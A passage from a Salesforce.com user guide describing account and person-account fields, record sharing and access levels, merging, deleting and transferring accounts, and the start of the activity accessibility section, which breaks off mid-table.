Ownership Ownership of company, for example, public or private. Entry
is selected from a picklist of available values, which are set by
an administrator. Each picklist value can have up to 40
characters.
Parent Account Parent company for companies that are subsidiaries of a larger
company or organization. The parent account must be an
existing account in Salesforce.com. You can enter the account
name, or select (or optionally, create) the account using the
lookup icon.
Partner Account Read-only field that indicates whether an account is a partner
account.
Phone Primary phone number of account. Up to 40 characters are
allowed in this field.
Rating Categorization of how you rate this account, for example, Hot,
Cold. Entry is selected from a picklist of available values, which
are set by an administrator. Each picklist value can have up to
40 characters.
Run territory assignment rules on save When checked, causes account assignment rules to run when
the account is edited and saved. When customizing the page
layout for accounts, an administrator can control whether this
checkbox displays and whether it is checked by default. See
Territory Management Overview on page 1826.
Shipping Street Primary mailing or shipping street address of account. Up to
255 characters are allowed in this field.
Shipping City City portion of primary mailing or shipping address. Up to
40 characters are allowed in this field.
Shipping State/Province State or province portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary mailing or shipping
address. Up to 20 characters are allowed in this field.

69
Accounts Account Fields

Field Description
Shipping Country Country portion of primary mailing or shipping address. Up
to 40 characters are allowed in this field.
SIC Code Standard Industrial Classification code of the account’s main
business categorization, for example, 57340 for Electronics.
Up to 10 characters are allowed in this field.
Territories The territories to which the account has been assigned. See
Territory Management Overview on page 1826.
Ticker Symbol Listing of company’s exchange and stock symbol, for example,
NASDAQ: ACME. Up to 20 characters are allowed in this
field.
Type Type of account, for example, Customer, Competitor, or
Partner. Entry is selected from a picklist of available values,
which are set by an administrator. Each picklist value can have
up to 40 characters.
Custom Links Listing of custom links for accounts as set up by your
administrator.
Website URL of account’s website, for example, www.acme.com. Up
to 255 characters are allowed in this field; only the first 50 are
displayed.

Person Account Fields


Person accounts available in: Enterprise, Unlimited, and Developer Editions
The available fields vary according to which Salesforce.com Edition you have.

A person account has the following standard fields, listed in alphabetical order. Depending on your page layout and field-level
security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and
Developer Editions only.) Fields with an “X” in the Is Contact Field column are contact fields that are supported for person
accounts but not business accounts.
Note that this list does not include any custom fields that your administrator may have created. Both account and contact
custom fields are available for person accounts.

Field Description Is Contact Field


Account Currency The default currency for all currency
amount fields in the account. Amounts
display in the account currency and are
also converted to the user’s personal

70
Accounts Account Fields

Field Description Is Contact Field


currency. Available only for organizations
that use multiple currencies.
Account Division Division to which the account belongs.
Records related to the account, such as
contacts and opportunities, automatically
inherit the account’s division. Available
only in organizations that use divisions
to segment their data.
Account Name The name of the individual. In person
accounts, the account name cannot be
edited directly. Instead, Salesforce.com
derives it by combining the First Name
and Last Name fields in the appropriate
order per the user's language setting.
Account Name (Local) The name of the account translated into
the local language.
Account Number Tracking or reference number for
account. Up to 40 characters are allowed
in this field.
Account Owner Assigned owner of account. Not available
in Personal Edition.
Account Record Type Name of the field that determines what
picklist values are available for the record.
Available in Enterprise, Unlimited, and
Developer Editions.
Account Site Name of the account’s location, for
example, Headquarters or London. Up
to 80 characters are allowed in this field.
Annual Revenue Amount of annual reported revenue.
Assistant Name of assistant. Up to 40 characters X
are allowed in this field.
Asst. Phone Assistant’s phone number. Up to 40 X
characters are allowed in this field.
Billing City City portion of billing address. Up to 40
characters are allowed in this field.
Billing Country Country portion of billing address. Up
to 40 characters are allowed in this field.
Billing State/Province State or province portion of billing
address. Up to 20 characters are allowed
in this field.

71
Accounts Account Fields

Field Description Is Contact Field


Billing Street Street address used for billing. Up to 255
characters are allowed in this field.
Billing Zip/Postal Code Zip or postal code portion of billing
address. Up to 20 characters are allowed
in this field.
Birthdate Birthday. You can enter a date, or choose X
a date from the calendar that displays
when you put your cursor in the field.
Created By User who created the account, including
creation date and time. (Read only)
Custom Links Listing of custom links for accounts as
set up by your administrator.
Department Associated business or organizational X
unit. Up to 80 characters are allowed in
this field.
Description Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.
Do Not Call Indicates if the person does not want to X
be contacted via telephone.
Email Email address. Must be a valid email X
address in the form: jsmith@acme.com.
Up to 80 characters are allowed in this
field.
Email Opt Out The person's email address will not be X
included in mass emails.
Employees Number of people employed by the
account.
Exclude from territory When checked, shields the account from
assignment rules being evaluated when account assignment
rules are run, preventing it from being
automatically assigned to territories.
Also, if the account is already assigned
to territories as a result of assignment
rules, checking this box removes the
account from those territories. This
checkbox only affects rule-based account
assignments and has no effect on manual
account assignments. See Territory
Management Overview on page 1826.

72
Accounts Account Fields

Field Description Is Contact Field


Fax Fax number. Up to 40 characters are
allowed in this field.
Fax Opt Out Indicates if the person has requested not X
to be included in broadcast faxes.
First Name The first or given name of the individual. X
Up to 40 characters are allowed in this
field.
Home Phone Person’s home phone number. Up to 40 X
characters are allowed in this field.
Industry Primary business of account. Entry is
selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Last Name The surname or family name of the X
individual. Up to 80 characters are
allowed in this field.
Last Stay-in-Touch Request The date that the most recent X
Date Stay-in-Touch request was sent.
Last Stay-in-Touch Save Date The date that the most recent X
Stay-in-Touch request was returned and
merged.
Lead Source Record source, for example, X
Advertisement, Partner, or Web. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Mailing City City portion of mailing address. Up to X
40 characters are allowed in this field.
Mailing Country Country portion of mailing address. Up X
to 40 characters are allowed in this field.
Mailing State/Province State or province portion of mailing X
address. Up to 20 characters are allowed
in this field.
Mailing Street Street mailing address. Up to 255 X
characters are allowed in this field.
Mailing Zip/Postal Code Zip or postal code portion of mailing X
address. Up to 20 characters are allowed
in this field.

73
Accounts Account Fields

Field Description Is Contact Field


Mobile Cellular or mobile phone number. Up to X
40 characters are allowed in this field.
Modified By User who last changed the account fields,
including modification date and time.
This does not track changes made to any
of the related list items on the account.
(Read only)
Other City City portion of additional address. Up to X
40 characters are allowed in this field.
Other Country Country portion of additional address. X
Up to 40 characters are allowed in this
field.
Other Phone Additional phone number listing. Up to X
40 characters are allowed in this field.
Other State/Province State or province portion of additional X
address. Up to 20 characters are allowed
in this field.
Other Street Street address portion of additional X
address. Up to 255 characters are allowed
in this field.
Other Zip/Postal Code Zip or postal code portion of additional X
address. Up to 20 characters are allowed
in this field.
Ownership Ownership of company, for example,
public or private. Entry is selected from
a picklist of available values, which are
set by an administrator. Each picklist
value can have up to 40 characters.
Phone Primary phone number of account. Up
to 40 characters are allowed in this field.
Rating Categorization of how you rate this
account, for example, Hot, Cold. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Run territory assignment rules When checked, causes account
on save assignment rules to run when the account
is edited and saved. When customizing
the page layout for accounts, an
administrator can control whether this

74
Accounts Account Fields

Field Description Is Contact Field


checkbox displays and whether it is
checked by default. See Territory
Management Overview on page 1826.
Salutation Title for addressing the person, for X
example, Mr., Ms., Dr., or Prof. Entry
is selected from a picklist of available
values, which are set by an administrator.
Each picklist value can have up to 40
characters.
Shipping City City portion of primary mailing or
shipping address. Up to 40 characters are
allowed in this field.
Shipping Country Country portion of primary mailing or
shipping address. Up to 40 characters are
allowed in this field.
Shipping State/Province State or province portion of primary
mailing or shipping address. Up to 20
characters are allowed in this field.
Shipping Street Primary mailing or shipping street
address of account. Up to 255 characters
are allowed in this field.
Shipping Zip/Postal Code Zip or postal code portion of primary
mailing or shipping address. Up to 20
characters are allowed in this field.
SIC Code Standard Industrial Classification code
of the account’s main business
categorization, for example, 57340 for
Electronics. Up to 10 characters are
allowed in this field.
Territories The territories to which the account has
been assigned. See Territory
Management Overview on page 1826.
Ticker Symbol Listing of company’s exchange and stock
symbol, for example, NASDAQ:
ACME. Up to 20 characters are allowed
in this field.
Title Person's position within his or her X
organization. Up to 80 characters are
allowed in this field.
Type Type of account, for example, Customer,
Competitor, or Partner. Entry is selected

75
Accounts Viewing Parent Accounts

Field Description Is Contact Field


from a picklist of available values, which
are set by an administrator. Each picklist
value can have up to 40 characters.
Website URL of account’s website, for example,
www.acme.com. Up to 255 characters
are allowed in this field; only the first 50
are displayed.

Viewing Parent Accounts


Available in: All Editions

User Permissions Needed


To view accounts: “Read” on accounts
To view parent accounts: “Read” on accounts

The account hierarchy shows you the accounts that are associated through the Parent Account field, giving you a global
view of a company and its subsidiaries. In the hierarchy, accounts are indented to show that they are subsidiaries of the parent
account above them.

• To view the account hierarchy, click View Hierarchy next to the account name on the account detail page. The Account
Hierarchy page displays up to 500 child accounts.
• To list an account as a subsidiary, edit the subsidiary account and type the name of an existing account in the Parent
Account field. Alternatively, you can click the lookup icon to search for (or optionally, create) a parent account.

The parent account must be an existing account before it can be entered and saved in this field.
For companies with multiple office locations, you can also use the Account Site field to distinguish among the locations.
If your organization uses divisions, accounts that are associated via the Parent Account field do not need to be in the same
division.
The Parent Account field and the View Hierarchy link are not supported for person accounts.

See Also:
Displaying and Editing Accounts
Creating Accounts
What is a Person Account?

76
Accounts Sharing Accounts

Sharing Accounts
Available in: Professional, Enterprise, Unlimited, and Developer Editions

Your administrator defines your organization's sharing model as well as your organization's default account access levels for
territories. However, you can extend sharing privileges for your own data on an account-by-account basis. You can use account
sharing to increase access to your accounts; you cannot restrict access beyond your organization’s default access levels.
To view and manage sharing details, click Sharing on the account detail page. The Sharing Detail page lists the users, groups,
roles, and territories that have sharing access to the account. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: When you share an account, Salesforce.com prompts you to share any related contacts, opportunities, or
cases, up to and including your access level. Enterprise, Unlimited, and Developer Edition users can also share
related records from the record detail pages. Ensure users have at least “Read” permission on shared records.

Alternatively, you can share account access by creating an account team.


• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.
For accounts, you can also edit the “Owner” sharing rule.

See Also:
Granting Access to Records
Viewing Which Users Have Access
Territory Management Overview
Sharing Opportunities
Sharing Contacts
Sharing Cases
Account Team Overview

Granting Access to Records


Sharing for accounts and contacts is available in: Professional, Enterprise, Unlimited, and Developer Editions
Sharing for campaigns, cases, custom object records, leads, and opportunities is available in Enterprise, Unlimited, and
Developer Editions

Users can manually grant access to certain types of records. In some cases, granting access includes access to all associated
records. For example, if you grant another user access to your account, the user will automatically have access to all the
opportunities and cases associated with that account. To grant sharing privileges for a record, you must be the record owner,

77
Accounts Granting Access to Records

any user granted Full Access, an administrator, or (provided your sharing settings control access through hierarchies) a user
in a role above the owner in the hierarchy.
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

To grant access to a record:

1. Click Sharing on the record you want to share.


2. Click Add.
3. From the drop-down list, select the type of group, user, role, or territory to add.
Your choices are:

Type Description
Public Groups All public groups defined by your administrator.
Personal Groups All personal groups defined by the record owner. Only the
record owner can share with his or her personal groups.
Users All users in your organization. Does not include portal users.
Roles All roles defined for your organization. This includes all of
the users in that role.
Roles and Subordinates This includes all of the users in the role plus all of the users
in roles below that role. Only available when no portals are
enabled for your organization.
Roles and Internal Subordinates All roles defined for your organization. This includes all of
the users in the specified role plus all of the users in roles
below that role, excluding PRM portal, partner portal, and
Customer Portal roles.
Roles, Internal and Portal Subordinates Adding a role and its subordinate roles, includes all of the
users in that role plus all of the users in roles below that role.
Only available when a partner or Customer Portal is enabled
for your organization. Includes portal roles and users.
Territories All territories defined for your organization. This includes
all users in that territory. This option is only available if your
organization uses territory management.
Territories and Subordinates Includes all users in the territory plus the users below that
territory. This option is only available if your organization
uses territory management.

4. Choose the specific groups, users, roles, or territories who should have access by adding their names to the New Sharing
list.
5. Choose the access level for the record you are sharing and any associated records that you own. For example, if you are
sharing an account, specify the level of access the selected user should have to associated contact, opportunity, and case
records you own.

78
Accounts Granting Access to Records

The possible access levels are:

Access Level Description


Full Access User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

Note:

• When sharing an opportunity or case, users must also have at least read access to the associated account (unless
you are sharing a case via a case team). If you also have privileges to share the account, users are automatically
given read access to the account. If you do not have privileges to share the account, you must ask the account
owner to give the users read access to it.
• Contact Access is not available when the organization-wide default for contacts is set to Controlled by
Parent.
• For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts,
a user may still have access to associated contacts via other means, such as organization-wide defaults, the
“Modify All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object
permission.

6. When sharing a forecast, select Submit Allowed to enable the user, group, or role to submit the forecast.
7. Select the reason for the share to allow users and administrators to understand the source of the sharing. For more information
on sharing reasons, see Creating Apex Sharing Reasons on page 532.
8. Click Save.

79
Accounts Viewing Which Users Have Access

Editing or Deleting Record Access


To edit the access levels for a record, click Sharing on the record, and then click Edit next to the group, user, role, or territory
whose access you want to modify. To delete the sharing access for a group, user, role, or territory, click Sharing on the record,
and then click Del next to the group, user, role, or territory whose access you want to remove.

See Also:
Sharing Accounts
Sharing Campaigns
Sharing Cases
Sharing Contacts
Sharing Custom Object Records
Sharing Leads
Sharing Opportunities
Viewing Which Users Have Access
Case Teams Overview
Controlling Access Using Hierarchies
Manually Sharing a Forecast

Viewing Which Users Have Access


Available in: Professional, Enterprise, Unlimited, and Developer Editions

After you have granted access to a record you own, you can view a list of users who have access to the record and its related
information. You can also view the reason why each user has access.

1. Click Sharing on the desired record.


2. Click Expand List to view a detailed list of every user who has access that is greater than the organization-wide default
settings.
The list also shows each user’s access level for the record and any associated records. To show a filtered list of items, select
a predefined list from the View drop-down list, or click Create New View to define your own custom view.
The possible access levels are:

Access Level Description


Full Access User can view, edit, delete, and transfer the record. User can
also extend sharing access to other users; however, the user
cannot grant Full Access to other users.
Read/Write User can view and edit the record, and add associated
records, notes, and attachments to it.
Read Only User can view the record, and add associated records to it.
They cannot edit the record or add notes or attachments.
Private User cannot access the record in any way.

80
Accounts Viewing Which Users Have Access

Note: For sharing rules that specify access for associated object records, the given access level applies only to that
sharing rule. For example, if an account sharing rule specifies Private as the access level for associated contacts, a
user may still have access to associated contacts via other means, such as organization-wide defaults, the “Modify
All Data” or “View All Data” administrative permission, or the “Modify All” or “View All” object permission.

In addition, when viewing forecast sharing, the list shows if the user can submit a forecast.
3. Click Why? next to a user’s name to view the reason he or she has access.
The list shows all of the reasons why the user has access. The user is granted the greatest access level.
The possible reasons are:

Reason Description
Account Sharing Rule The user has access via an account sharing rule created by
the administrator.
Account Sharing The user was granted access via the Sharing button on the
associated account.
Account Team The user is a member of the account team.
Account Territory The account has been assigned to a territory to which the
user has access.
Administrator The user has the “Modify All Data” or “View All Data”
administrative permission, or has the “Modify All” or “View
All” object permission.
Associated record owner or sharing The user owns or has been given sharing access to a record
associated with the record. Click the link to view which
associated records the user owns or has been given sharing
access to.
Campaign Sharing Rule The user has access via a campaign sharing rule created by
the administrator.
Case Sharing Rule The user has access via a case sharing rule created by the
administrator.
Contact Sharing Rule The user has access via a contact sharing rule created by the
administrator.
Delegated Forecast Manager A user has access to forecast data that was granted via the
Sharing button on the forecast.
Forecast Manager A user has access due to being a forecast manager in the
forecast hierarchy.
Lead Sharing Rule The user has access via a lead sharing rule created by the
administrator.
Manager of Territory Member The user has a subordinate in the role hierarchy who is
assigned to the territory with which the account is associated.

81
Accounts Viewing Which Users Have Access

Reason Description
Manual Sharing The user has access that was granted via the Sharing button
on the record.
Manual Territory Sharing The account has been manually assigned to a territory to
which the user has access.
Opportunity Sharing Rule The user has access via an opportunity sharing rule created
by the administrator.
Owner The user owns the record, or the user is a member of the
queue that owns the record or above the queue member in
the role hierarchy.
Sales Team The user is a member of the opportunity sales team.
View All Forecasts Permission The user has a profile with the “View All Forecasts”
permission.

Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.

See Also:
Sharing Accounts
Sharing Contacts
Sharing Opportunities
Sharing Cases
Sharing Custom Object Records
Setting Your Organization-Wide Sharing Model
Controlling Access Using Hierarchies
Manually Sharing a Forecast

82
Accounts Merging Duplicate Accounts

Merging Duplicate Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To merge business accounts: “Delete” on accounts
To merge person accounts: “Delete” on accounts
AND
“Read” on contacts

To merge duplicate accounts:

1. From the Accounts tab, click Merge Accounts in the Tools section.
2. Enter a search string to find the duplicate accounts.
For example, you can enter acme* to find duplicate accounts listed as “Acmes” and “Acme, Inc.” Do not use the local name
for the account. Then click Find Accounts.
3. Check the rows of up to three accounts you want to merge. Click Next.
4. Select one account as the “Master Record.” Any data in hidden or read-only fields will be taken from the Master Record.
However, administrators, and users with the “Edit Read Only Fields” permission, can manually select which read-only
fields to retain. Note that hidden fields are not displayed during the merge.
5. Select the fields that you want to retain from each record.
When there is conflicting data, the fields in the left column are preselected and the row is marked in blue.
6. Click the Merge button to complete the merge.

Tips on Merging Accounts


Consider the following when merging accounts:
• You can merge accounts if you are an administrator, the account owner, or a user above the account owner in the role
hierarchy and you have the appropriate user permissions.
• When merging two accounts that you do not own, you must have “Delete” permissions on accounts and “Edit” permissions
on opportunities and cases. You need “Delete” permissions on accounts because you are deleting one of the accounts when
you perform an account merge. You need “Edit” permissions on opportunities and cases because changing the account
name field (AccountID) edits any opportunities or cases that are associated with the accounts you are merging.
• Any related items from any of the duplicate accounts will be associated with the newly merged account.
• In Professional, Enterprise, Unlimited, and Developer Edition organizations, any sharing rules are applied to the newly
merged account. Also, any manual sharing from the “Master Record” is applied to the merged account.
• When you merge accounts that are listed in the Parent Account field of other accounts, the newly merged account is
linked only to the accounts of the selected Master Record.
• All discarded duplicate records are moved to the Recycle Bin.

83
Accounts Merging Duplicate Accounts

• The newly merged account displays the Created By date from the oldest account you are merging, and shows the merge
date as the Modified By date.
• If both accounts have different account teams, the merged account will contain members from both account teams.
• In organizations that use divisions, the merged account is assigned to the division of the Master Record, unless you select
otherwise.
• When you merge accounts that have territories and the Exclude from account assignment rules box was
deselected on both of the original accounts, account assignment rules will run on the new account to determine its territories.
Also, any manually added territories on the original accounts will be manually added to the new account.
• When you merge accounts that have territories and the Exclude from account assignment rules box was checked
on one or both of the original accounts:
- The newly merged account has all of the territories of the original accounts.
- Account assignment rules will not run on the newly merged account.
- If a territory was assigned to one of the original accounts based on account assignment rules, it will appear as having
been assigned to the new account based on rules even if the new account does not match the rules.
- If a territory was manually assigned to one of the original accounts, it will be manually assigned to the new account.
- If a territory was added to one account manually and to the other account by rules, it will be manually added to the
new account.

• When you merge accounts, you also merge the accounts' memberships in relationship groups. For more information, see
Merging Accounts Associated with Relationship Groups on page 85.

Tips on Merging Person Accounts


Consider the following when merging person accounts:
• If your organization uses person accounts, both business accounts and person accounts are returned when you search for
duplicates. However, you cannot merge a person account with a business account or vice versa. Person accounts are indicated
by the person account icon ( ).
• You cannot merge person accounts enabled to use a Customer Portal .

Tips on Merging Accounts Associated with Portals


Consider the following when merging accounts associated with portals:
• You must have the “Manage Users” profile permission to merge accounts associated with portals.
• You can merge accounts that have contacts associated with the same type of portal. For example, you can merge accounts
that have contacts associated with a partner portal or Customer Portal , but you cannot merge an account that has contacts
associated with a partner portal with an account that has contacts associated with a Customer Portal.
When you merge accounts that have contacts associated with multiple portals of the same type, a contact's access to a
specific portal does not change. This is because a portal user's profile determines the portal he or she can access.
• When merging a partner account with a non-partner account, the partner account must be the master.
• When merging partner accounts with a non-partner account, the owner cannot be changed.
• To ensure that merged accounts will include contacts associated with a portal, select the account with portal users as the
master record during the merge process.

See Also:
Merging Duplicate Contacts
What is a Person Account?
Creating Partner Accounts

84
Accounts Merging Accounts Associated with Relationship Groups

Merging Accounts Associated with Relationship Groups


Available in: Salesforce for Wealth Management

User Permissions Needed


To merge business accounts: “Delete” on accounts
To merge person accounts: “Delete” on accounts, “Read” on contacts

When working with wealth management accounts (clients), you can merge up to three duplicate accounts at a time. For
example, if the accounts “Joe Bannon” all represent the same client and need to be merged, you can use the Merge Accounts
tool to consolidate those records into one. When you merge accounts, you also merge the accounts' memberships in relationship
groups. Note that merging results in a single account, and an account cannot exist more than once in the same relationship
group. Review the following considerations before merging accounts that are members of relationship groups:

• The account you select as the master record retains its original relationship group memberships. For example, if the master
record “Joseph Bannon” was a member of the “Bannon Family” and “Bannon Law Firm” relationship groups, it remains
a member of those relationship groups.
• The master record replaces the non-master records in all other relationship groups involved in the merge. For example, if
the non-master record “Joe Bannon” was a member of “Bannon Trust Beneficiaries,” the master record is transferred Joe
Bannon's membership in Bannon Trust Beneficiaries.
• If there is a relationship group to which the master record did not originally belong but the multiple non-master records
belong, the master record is transferred the membership of the non-master account that had higher priority (primary versus
secondary) or the account whose member record was most recently modified in the relationship group. For example, if the
non-master records “JR Bannon” and “Joe Bannon” both were members of “Acme LLP” and JR Bannon was primary, then
the master record is transferred JR Bannon's membership in Acme LLP. Alternatively, if neither JR Bannon or Joe Bannon
were primary or secondary but JR Bannon's member record in the relationship group was modified more recently, then
the master record would be transferred JR Bannon's membership in Acme LLP.

See Also:
Merging Duplicate Accounts
Removing Members from Relationship Group Members

Adding Translated Names


Available in: Professional, Enterprise, Unlimited, and Developer Editions

A local name stores a translated value for a corresponding account, contact, or lead field. For example, you can store the name
of an account in the default language of your organization as well as the account’s or user’s language. The following fields can
have corresponding local names:

85
Accounts Deleting Accounts

Standard Field Local Name Field


Account Name Account Name (Local)
Contact: First Name Contact: First Name (Local)
Contact: Last Name Contact: Last Name (Local)
Lead: Company Lead: Company Name (Local)
Lead: First Name Lead: First Name (Local)
Lead: Last Name Lead: Last Name (Local)

Local names do not affect the user’s language settings. Depending on your page layout settings, they can both be displayed
on the detail or edit page.
To enable the ability to use local names, your administrator must first contact salesforce.com and then add the corresponding
local name fields to your page layout settings.

See Also:
Managing Page Layouts

Deleting Accounts
Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts
To delete accounts: “Delete” on accounts

To delete an account, click Del next to the account on the accounts list page, or click Delete on the account detail page.
When you delete an account it's moved to the Recycle Bin along with any of these related items:

• Contacts
• Opportunities
• Contracts (if they're not activated)
• Activities
• Notes
• Attachments
• Portal roles and groups (if all portal users in the account are disabled)
• Partner relationships
• Relationship group members

86
Accounts Searching for Accounts

If you undelete an account, any related items are also restored except for:

• Relationship group members in some cases. See Removing Members from Relationship Group Members on page 1880.
• Portal roles and groups. See Displaying and Editing Accounts on page 62.

You can't delete an account if it has been enabled as a partner account, has associated cases, activated contracts, related
opportunities that are owned by other users, or associated contacts are enabled for the Self-Service portal. In addition, if you
attempt to delete an account that has closed/won opportunities owned by you, a message displays asking you whether you
want to delete the closed/won opportunities along with the account or to cancel the account deletion.
Note: You can delete an account if you are an administrator, the account owner, or a user above the account owner
in the organization role hierarchy, and if you have the appropriate user permission. You do not need the “Delete”
permission on any associated records that are included in the deletion.

See Also:
Recycle Bin
Deleting Mass Data
Merging Duplicate Accounts
What is a Person Account?

Searching for Accounts


Business accounts available in: All Editions
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts: “Read” on accounts

To find specific accounts:

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited, and Developer
Editions only).
If you are using local account names, a search finds matches for either the standard account names or local account names.
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

87
Accounts Changing Ownership

You can also create an account list view to find accounts that match specific criteria.

See Also:
Search Overview
Customizing Search Layouts
What is a Person Account?

Changing Ownership
Available in: Contact Manager, Group, Professional, Enterprise Unlimited, and Developer Editions

To transfer ownership of a record:

1. Before transferring a record to a new owner, make sure the new owner has at least “Read” permission on the object on
page 492.
2. Click Change next to the Owner field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you cannot change
ownership.
3. Enter a new owner or select a user via the lookup icon.
In organizations where the Salesforce.com Customer Portal or partner portal is enabled, you can filter the results that will
display on the user lookup dialog by selecting either a queue or group of users from the Owner or Assigned To drop-down
list.
Note: Only those users you are able to transfer ownership to are visible. Neither the User group nor the Roles and
Internal Subordinates group contains Customer Portal or partner users.

4. Select the Send Notification Email checkbox to notify the new owner.
The “From” email address displayed in the notification is your return email address as set in the Email Address field
of your email settings.
For cases in Professional, Enterprise, Unlimited, and Developer Edition organizations, the email text is determined by the
Case Assigned Template setting specified in the Support Settings. For other records, the email text is automatically
generated and cannot be customized.
5. Depending on the type of object you are transferring and your user permissions, the following checkboxes may also appear:

Checkbox Description Appears For


Change Division Transfers the record to the new owner's division. All records Accounts and leads, if you
related to the account are transferred to the new division as can view or edit the
well. Division field

Transfer open Transfers open opportunities owned by other users that are Accounts
opportunities not associated with the account.

88
Accounts Changing Ownership

Checkbox Description Appears For


owned by the existing
account owner

Transfer closed Transfers the closed opportunities associated with the Accounts
opportunities account. This option applies only to closed opportunities
owned by the account owner; closed opportunities owned
by other users are not changed.
Transfer open cases Transfers any open cases associated with the account that Accounts
owned by the existing are owned by the existing account owner.
account owner

Transfer closed cases Transfers the closed cases associated with the account. This Accounts
option applies only to closed cases owned by the account
owner; closed cases owned by other users are not changed.
Keep Account Team Transfers all account team members on the account to the Accounts
new owner.
Keep Sales Team Preserves the sales team when the opportunity is transferred Opportunities
to the new owner. If this box is unchecked, all sales team
members are deleted when the opportunity is transferred to
the new owner.
Note: If you transfer closed opportunities, the sales
team is maintained, regardless of this setting.

6. Click Save to finish.

Note: After you have changed ownership, the previous owner's visibility reverts to the default sharing setting unless
that user is on an account or sales team. For example, if the previous owner of an account is on an account team, that
user has Read Only or the access specified in your organization-wide default for accounts, whichever is greater. The
previous owner's access to related records remain the same. This behavior is the same for opportunity owners that are
members of a sales team as long as you change ownership using the API. When you change ownership of an opportunity
within Salesforce.com, you can select the access level you desire.

Transfer of Associated Items


When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.

Record Type Associated items that are also transferred


Accounts Contacts, contracts with “Draft” status, attachments, notes, and open activities. Depending
on your selections, this can also include open opportunities not owned by the current account
owner, closed opportunities, open cases owned by the existing account owner, and closed
cases.
When a partner account is transferred, partner users associated with that account are moved
into the role hierarchy beneath the new owner.

89
Accounts Changing the Record Type Field

Record Type Associated items that are also transferred


Contracts with “Activated” status are not transferred to the new owner, however, the new
owner has read-only access to these contracts.

Contacts Notes, attachments, and open activities


Opportunities Notes, attachments, and open activities
Leads Notes, attachments, and open activities. Open activities are not transferred if you change lead
ownership using the Assign using active assignment rule checkbox.
Cases Open activities
Campaigns No associated items are transferred
Contracts Notes, attachments, and open activities
Custom objects Notes, attachments, and open activities

Note: When transferring associated group events, only group events that you created are transferred to the new owner.
Group events to which you have been invited are not transferred.

See Also:
Mass Transferring Records
Assigning Leads
Assigning Cases
Changing Document Authors
Editing Email Settings
Territory Management Overview

Changing the Record Type Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the record type for a record: “Edit” on the object

Record types determine the picklist values that are available when creating and editing a record. When creating a record, you
can choose the record type if you have different record types available to your profile and you have not set your record type
preferences to bypass the record type selection page. When editing existing records, you can change the record type from the
record detail page.
1. Click Change next to the Record Type field on a record detail page.

90
Activities Activity Overview

Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail
page. You must have the Marketing User user permission to change the campaign member type.

2. Select a record type. The available record types are listed at the bottom of the page.
3. Click Continue.
4. Make any changes to the record.
5. Click Save.

Note: Changes are not saved until you click Save; clicking Continue does not save the record.
If your organization uses person accounts, your administrator has configured two different kinds of record types for
your organization's accounts: one for business accounts, and another for person accounts. You can change an account's
record type only to another record type of the same kind. For example, you cannot change a person account record
type to one designated for business accounts.

See Also:
Setting Record Type Preferences
What is a Person Account?

ACTIVITIES

Activity Overview
Available in: All Editions

Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects,
including campaigns, accounts, contacts, and leads.
Activities display in related lists on associated records as well as on the Home tab.

91
Activities Activity Accessibility

Note: Administrators can modify activity fields and control the page layouts for tasks and events.

See Also:
Activity Accessibility
Viewing Activities
Creating Activities
Editing Activities
Deleting Activities
Searching for Activities
Activity Fields
Tip sheet: Tips & Hints for Activities

Activity Accessibility
Available in: All Editions

Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access
activities:

To do this: You must:


View an activity • Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have at least read access to the record to which the activity
is associated, or
• Have the “View All” object-level permission in the related
record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “View All Data” permission

Create an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Have at least read access to a record, if associating the
activity with another record

Edit an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Be assigned to the activity, or

92
Activities Activity Accessibility

To do this: You must:


• Be above the user assigned to the activity in the role
hierarchy, or
• Have the “Modify All” object-level permission in the
related record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “Modify All Data” permission

Delete an activity • Have the “Edit Tasks” and “Edit Events” permissions

AND
• Be assigned to the activity, or
• Be above the user assigned to the activity in the role
hierarchy, or
• Have the “Modify All” object-level permission in the
related record, where the sharing model for that record is
“Controlled By Parent,” or
• Have the “Modify All Data” permission

View, add, and edit events on other users’ calendars • Have the “Edit Tasks” and “Edit Events” permissions to
create and edit activities

AND
• Have access to the user’s calendar, which depends on your
organization-wide calendar sharing defaults and how the
